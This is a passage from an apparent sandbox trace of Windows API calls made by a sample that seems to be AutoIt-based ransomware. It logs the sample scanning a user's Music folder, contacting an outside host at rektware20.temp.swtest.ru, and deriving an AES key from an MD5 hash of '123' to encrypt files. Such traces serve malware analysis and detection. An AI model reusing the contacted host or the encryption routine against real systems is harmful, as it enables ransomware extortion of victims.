lpString1="e9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="icUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Oq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="I-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0064.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0064.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.075] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.075] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0064.075] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.075] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0064.075] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0064.075] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0064.075] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0064.075] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0064.075] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e68, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e68, lpdwBufferLength=0x130ee1c) returned 1 [0064.076] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0064.076] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0064.076] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0064.076] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0064.076] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0064.076] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0064.076] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0064.076] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629520, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629520*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0064.077] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0064.077] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0064.077] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0064.077] CloseHandle (hObject=0x0) returned 0 [0064.077] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.077] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0064.077] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0064.078] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.078] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.078] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.078] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.078] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0064.078] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.078] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0064.078] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.078] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.078] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0064.078] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.078] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.078] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.078] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.078] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.079] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0064.079] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0064.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0064.079] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0064.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0064.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0064.079] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0064.079] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aaef0) returned 1 [0064.080] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.080] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.080] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0064.080] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.080] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.080] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.080] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.080] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.080] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.080] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.080] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.080] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.080] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.080] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.080] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.080] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0064.080] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.080] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.081] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.081] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.081] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.081] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.081] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.081] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.081] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.081] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.081] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.082] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.082] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.082] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.082] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.082] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.082] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.082] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.082] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0064.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621570, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0064.082] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0064.082] CryptCreateHash (in: hProv=0x17aaef0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0064.082] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.082] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.082] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.082] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0064.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16296e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0064.083] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0064.083] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0064.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629700, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0064.083] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.083] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.083] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.083] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0064.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16216f0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0064.084] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0064.084] CryptHashData (hHash=0x164c8b0, pbData=0x1629710, dwDataLen=0x3, dwFlags=0x1) returned 1 [0064.084] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.084] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.084] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.084] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.084] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.084] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.084] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.084] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0064.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0064.084] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0064.084] CryptDeriveKey (in: hProv=0x17aaef0, Algid=0x6610, hBaseData=0x164c8b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c330) returned 1 [0064.085] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.085] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.085] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.085] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.085] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.085] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.085] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0064.085] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0064.085] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0064.085] CryptDestroyHash (hHash=0x164c8b0) returned 1 [0064.085] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.085] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, 